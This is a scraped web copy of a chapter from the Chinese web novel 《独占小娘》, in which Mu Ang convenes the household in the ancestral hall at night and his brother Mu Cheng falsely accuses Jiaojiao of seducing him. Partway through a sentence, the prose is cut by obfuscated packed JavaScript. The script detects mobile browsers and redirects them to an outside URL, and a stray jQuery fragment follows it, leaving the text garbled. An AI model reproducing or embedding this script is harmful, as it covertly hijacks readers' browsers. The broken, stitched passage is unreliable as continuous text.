13. 狡辩
作品:《独占小娘》 夜渐深,外头的风声越急,裹起扯絮般的雪片在空中打起旋儿,地上已积了一层莹白,月色倾洒下来,与雪色和一排灯笼相交辉映着,倒格外亮堂。
穆程定睛一看,见院子中央伫立着一道墨色的身影,一袭白衣的柔弱女子就这么仿若无骨似的倚在他身上,鸦黑的发在风中飘舞。
而在二人身后,齐刷刷地站了一排的人,每个人的手里都提着灯笼,跳跃的火光映出了每个人的脸,那悲悯的神情里又隐藏不住深深的鄙夷。
穆程吓得双腿发软,脑子也转不过弯来,今夜他明明亲眼见他在酒阁里应酬,怎会大半夜带了这么多人过来?难道……难道……
他还没琢磨出所以然来。
而另一厢,穆昂看着她跌跌撞撞得朝他跑来,风卷起她白的衣,乌的发,不过刹那便一头撞入他怀中,登时清冷的梅香盈鼻,一仰面,星眸潋滟,泪如明珠。
他一时怔住,握住她那只胡非作歹的手,掌心触到一片冰凉滑腻的湿意。
垂眸一看,竟是一片猩红。
“救、救我……”皎皎气若游丝地说完,两眼一翻便晕了过去。
穆昂握着她的双肩摇晃了下,不见她任何反应,不由得咬紧后槽牙,将明轩唤来,“扶她进去,把女医叫来。”
明轩窥着他的脸色,小心翼翼将她搀扶过来,一路拖回寝室。
穆昂接过小厮递来的帕子,一面慢条斯理地擦着指间的血,一面歪着头,倨傲地睨着抖如筛糠的穆程,那张向来喜怒不形于色的脸也变得阴森可怖。
不等他张口,穆程便连滚带爬地滚了过来,瘫在他脚下犹如一滩烂泥,“大、大大哥……你听我解释……”
“行,长夜漫漫,有的是时间,”他把帕子扔回给小厮,淡声吩咐,“去把所有人都叫到祠堂里来,如此好戏可得亲眼目睹,留到明日可就不美了。”
小厮接过帕子,应声前去。
“来两个人,二郎腿脚无力,把他叉过去。”
登时便上来两个小厮,一左一右正要叉人,穆程抡着胳膊甩开两人,指着他们骂骂咧咧道:“谁敢动我,都不要命了?”
两人为难地朝穆昂望去一眼。
“二郎酒后无状,先把他的嘴堵住再拖下去。”
小厮们得了令,立马掏出一团脏布来,二话不说塞入他嘴里,也不管他挣扎,强摁着将他拖下去了。
院子这才重新安静下来。
穆昂揉揉眉心,抬眼朝屋内望去,屋内灯火通明,门半掩着,那一地的狼藉若隐若现,他略站了一会,府里的女医走过来复命,“禀大郎,苏小娘伤口不重,至于晕厥乃心脾两虚,气血逆乱,一时犯了血厥①,并无大碍。”
“娇弱,”他轻蔑地扯了扯嘴角,方道,“有什么法子叫她即刻醒来?”
“吃一剂黄芪水即可。”
“劳你灌她服下,再让她穿好衣物速速过祠堂来,人都聚齐了,怎可缺她一角?”说完便拂袖离去,不在话下。
皎皎只觉得头沉得厉害,俄而,有甘霖从微张的唇缝灌了进来,她本能地咽了几口,一时嗓子发痒,呛了起来。
这一呛,人也彻底清醒了。
她茫然地望着头顶的帐子,又听温和的声音传来,“小娘可算醒了。”
她转过眸子一瞧,原来是府里的女医。
“您可是天生畏血?”
皎皎无声点头。
女医道没事,“女子体弱,有人天生畏血,无甚大碍。”
“多谢你,”她抬腕见自己的手已包扎好,不见一丝血色,身上也恢复了力气,不由得撑起身子道,“劳烦你漏夜跑一趟,我娘风寒未愈,方才被误喝了药,怕有药性相冲,还得再麻烦你给她看看,可有大碍?”
言讫便引她入了隔壁间,女医坐下来把脉,见她还鹄立着,便想起来道:“放心,这里交给我,方才大郎说了,要您换了衣裳过去祠堂。”
听到祠堂,她不由得心头一突,瞳仁颤了颤问:“现在?”
女医点头道是。
皎皎有些慌乱的,上回她已领教过他的雷霆手段,眼下大半夜要人赶去祠堂,想必是要升堂了。
虽然今晚这事对她来说确实是无妄之灾,可她毕竟也有过隐瞒,只怕是瞒不过他的火眼金睛。
不过他既然发了话,她又岂敢耽搁?只匆匆嘱咐女医,若她娘醒来,先替她瞒下今夜之事,这才回到屋内穿衣绾髻,披上斗篷往祠堂赶去。
原本入了夜各院门落锁,这一路走过去竟是畅通无阻,庭院里明灯齐燃,恍如白昼,就连每屋窗屉里亦是灯火辉煌,安静得诡异。
恰见一个小丫鬟神色慌张地往祠堂方向跑,见到她眼睛瞪得比铜铃大,瞳仁颤了颤,竟掉头就跑。
皎皎紧跟其后,问:“啥事体,咋见了我便跑?”
小丫鬟双腿像踩了风火轮一般,一面疾行,一面扣着眉心支吾道:“奴婢也不知,只是听说……”
“说啥?”皎皎也加快脚步,寸步不离跟了上来。
小丫鬟皱着眉看了她一眼,似是难以启齿,半晌才道:“我……我也不省的,应当与您有点干系吧……”
皎皎见她欲言又止,心下已了然,沦落风尘在他人眼里,不过是一项谈资而已,穆程纵然风流,毕竟身份摆在那里,必是她搔首弄姿在先,才引得他酿下大错。
她抿紧唇,脸色还有些泛白。
嘴长在别人身上,她管不着,她也犯不着跟她们解释,只是穆昂那处倒是麻烦,正如他所说,他并非慈悲心肠之人,肯出手救她一回两回,已是难得,倘若他想一并清算,那她未必有好果子吃。
心事重重想了一路,终于来到祠堂。
祠堂内外已聚了不少人,皎皎脚心踯躅入了内,一抬眼,便对上一双深不见底的眸。
她暗暗攥紧衣袖走了过去,只见穆昂端坐于上首,而穆程被摁着跪在祖宗牌位前,嘴里还堵着布团,只呜呜地叫着,一旁站的则是睡眼惺忪的女眷,从那微散的发髻看,八成都是那睡得迷迷糊糊被叫过来的。
皎皎发憷,犹豫着不知往哪边走,见嘉娘悄悄朝她招手,她才挪到她身侧站好。
过了一会,陆小娘的贴身丫鬟过来禀报,称陆小娘身体抱恙起不来。
自从掌家之权被夺,陆小娘十日里总有七八日称病不出,穆昂只是睁一只眼闭一只眼,不料到了这时候她还拿腔拿调,他面沉如水,冷声道:“再去叫,来两人跟她一道去,起不来也给我叉过来。”
在场的人无不心惊胆跳,颖娘瞅瞅跪在地上动弹不得的穆程,又凝眉望向丫鬟离去的身影,嘴唇嚅动了几下,也没有发出声音。
未几,陆小娘在丫鬟搀扶下最后一个入了祠堂。
甫一入内,见满堂伫立的人影,不禁喉咙一紧,再定睛一看,穆程被两双手死死
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16956463|193142||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
摁在地上,穆昂仿佛阎王端坐上首,脸上凝着万年冰霜,她虽不明所以,浑身的血却像是冻住了,牙齿也止不住打架。
“这、这是怎么了,二郎究竟犯了何事啊……”
穆昂瞥了她一眼,无声使了使眼色,那两个小厮这才松开手,抽出堵在穆程嘴里的布团。
“当着列祖列宗的面,你做了什么,不妨说出来。”
穆程只觉得一溜的眼睛落在他身上,什么体面都没有了,堵了半天的嘴角淌着口涎,和着眼泪鼻涕湿答答地糊了一脸,他没料到自己机关算尽,最后竟落得这副下场。
而他穆昂分明也受了她的引诱,却依旧高高在上地坐在那里。
他恨恨地剜着站在一旁的皎皎,见她脸色苍白,一副孱弱无辜的模样,不禁冷嗤道:“大哥好没道理,分明是两个人的事情,怎只捉拿我一人?如此偏袒护短,倒叫我怀疑你的深明大义了。”
穆昂微微眯起眼,狭长的深眸里泛着凌厉的微茫。
陆小娘一看形势不对,双膝一软便跪了下来,“大郎息怒,二郎是酒后胡言,作不得真,你就看在你们兄弟血脉相连的份上,宽饶他这回吧,等明日他醒了酒,定让他负荆请罪,可、可好?”
穆昂眉峰丝毫不曾动弹,只淡声道:“别急,二郎行事乖戾,你身为母亲难逃其责,下个就轮到你了。”
陆小娘一听,脸上更是没了一丝血色,嘴唇翕动了下,见他眼刀一转,仿佛被掐住了喉咙,再没了声音。
穆昂又把眸光转向穆程,手指在膝上轻叩着,音调懒散,“说吧,怎么混进内院的。”
这回穆程也不再抵抗,只垂着眼道:“走了密道……”
“很好,”穆昂放在膝上的手默默拢成拳,指骨发出咔咔的声响,“继续说。”
“我……我知道错了,可我也是一时糊涂,这才禁不住苏小娘百般勾引,今夜也是受她所邀才……”
话音未落,皎皎瞳仁骤缩成一点,扑通一声跪了下来,先是厉声朝穆程道:“你无中生有!”
说完又抬眸看向穆昂,泪珠滚瓜似的落了下来,“我与二郎从未有过私交,还请大郎明察。”
穆昂扫了她一眼,竖掌示意她噤声,又看向穆程,似嘲非嘲道:“听起来,你也是苦主,说吧,究竟是怎么回事?”
皎皎见他似有袒护,只觉得满肚子苦水无法诉说,一低头便轻轻抽噎起来。
穆程睇了她一眼,表情逐渐得意起来,沉吟道:“这事……说来话长,自苏小娘进门那日起,我便瞧出她是个不安分的,爹一去世,她就……就勾搭上了我……”
皎皎正欲反驳,见穆昂瞟来一记眼刀,吓得她只好重新抿住了嘴。
穆昂身体前倾,眉骨微挑,“具体怎么个勾搭法?”
穆程颠倒黑白说了一番,由于早有准备,撒起谎来并不难,说到最后猛然一顿,忽地想起来什么似的说:“对了,我还赠过她一枚扇坠,大哥只要让人搜下她的屋,便可水落石出,我禁不住美色引诱是错,可归根到底,还是她不守妇道在先啊!”
说完他膝行过去攥住了穆昂的袍角,眼泪鼻涕淌了下来,“大哥,看在你我兄弟一场的份上,你就饶了我这回吧,我回去之后定会好好反省,不敢再犯。”
穆昂眉心紧锁地将袍角抽了出来,又从袖笼中掏出一枚通身碧绿的葫芦扇坠,盯着他一字一顿问:“这就是你说的扇坠?”

